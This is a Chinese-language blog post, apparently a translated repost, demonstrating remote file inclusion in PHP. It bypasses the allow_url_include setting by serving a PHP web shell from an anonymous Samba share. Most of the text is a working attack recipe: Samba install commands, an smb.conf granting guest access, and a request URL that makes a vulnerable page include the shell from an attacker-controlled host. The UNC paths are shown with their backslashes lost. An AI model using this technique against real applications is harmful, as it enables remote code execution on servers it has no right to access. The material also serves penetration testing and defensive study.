概述
在这篇博客文章中,我将演示在PHP应用程序中利用远程文件包含(RFI)漏洞的技术,该漏洞容易受到“文件包含攻击”的影响。我们将绕过远程URL包含限制,并执行RFI的开发,即使PHP环境配置为不包含来自远程HTTP/FTP URL的文件。
PHP和SMB共享文件访问
在PHP配置文件中,“allow_url_include”包装器默认设置为“Off”,表示PHP不加载远程HTTP或FTP URL,从而防止远程文件包含攻击。但是,即使“allow_url_include”和“allow_url_fopen”都设置为“Off”,PHP也不会阻止SMB URL加载。PHP的这种行为可以被滥用来从SMB共享加载远程托管的PHP web shell。
攻击场景
当易受攻击的PHP应用程序代码尝试从受攻击者控制的SMB共享加载PHP web shell时,SMB共享应该允许访问该文件。攻击者需要将SMB服务器配置为启用匿名浏览访问。因此,一旦易受攻击的应用程序尝试从SMB共享访问PHP web shell,SMB服务器将不会要求任何凭据,易受攻击的应用程序将包含web shell的PHP代码。
让我们开始吧,首先我重新配置了PHP环境,并在php.ini文件中禁用“allow_url_fopen”以及“allow_url_include”。然后配置SMB服务器具有匿名读访问权限。一旦SMB共享准备就绪,就可以利用易受攻击的应用程序。
PHP环境设置
在其上托管易受攻击代码的机器将“allow_url_fopen”和“allow_url_include”设置为“Off”。
PHP版本“5.5.11”的当前配置的屏幕截图:
在继续之前,首先确保当我们尝试访问HTTP上托管的Web shell时,PHP代码不允许远程文件包含。
当我试图从远程主机包含PHP Web shell时,应用程序抛出错误,RFI没有发生。
使用匿名读取访问权限配置SAMBA服务器(Linux计算机)
使用下面提到的命令安装SAMBA服务器:
apt-get install samba
创建SMB共享目录(在本文中是/var/www/html/pub/)
mkdir /var/www/html/pub/
在新创建的SMB共享目录上配置权限:
chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/
运行以下命令删除SAMBA服务器配置文件的默认内容
echo > /etc/samba/smb.conf
将下面的内容放入“/etc/samba/smb.conf”文件中
[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes
[ica]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody
现在,重启SAMBA服务器以应用配置文件/etc/samba/smb.conf中的新配置
service smbd restart
成功重启SAMBA服务器后,尝试访问SMB共享,并确保SAMBA服务器不要求凭据。
在本文中,SAMBA服务器IP是192.168.0.3,我需要访问Windows文件资源管理器中的SMB共享, 如下所述:
192.168.0.3
在SMB共享中托管PHP Web shell
很好,SMB共享是可访问的,并显示目录“ica”是存在的。
现在,在目录“/var/www/html/pub”中托管PHP shell,这是SMB共享“ica”的目录。
一旦我们在目录“/var/www/html/pub”中有了PHP shell,就可以使用Windows文件资源管理器访问SMB共享目录'ica'。
192.168.0.3ica
您将看到PHP shell存在是SMB共享目录。在本文中,它是box.php
攻击文件包含易受攻击的参数
完美,让我们使用这个PHP shell SMB链接,并使用易受攻击的PHP代码浏览它。
http://vulnerable_application/page.php?page=192.168.0.3icabox.php
当当!易受攻击的PHP代码从SMB共享中获取Web shell,并在应用程序服务器上执行代码。我们已经绕过了限制,并包含了托管在远程主机上的Web shell。
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
最后
以上就是时尚棒球为你收集整理的http 直接显示目录下文件_利用PHP应用程序中的远程文件包含(RFI)并绕过远程URL包含限制...的全部内容,希望文章能够帮你解决http 直接显示目录下文件_利用PHP应用程序中的远程文件包含(RFI)并绕过远程URL包含限制...所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复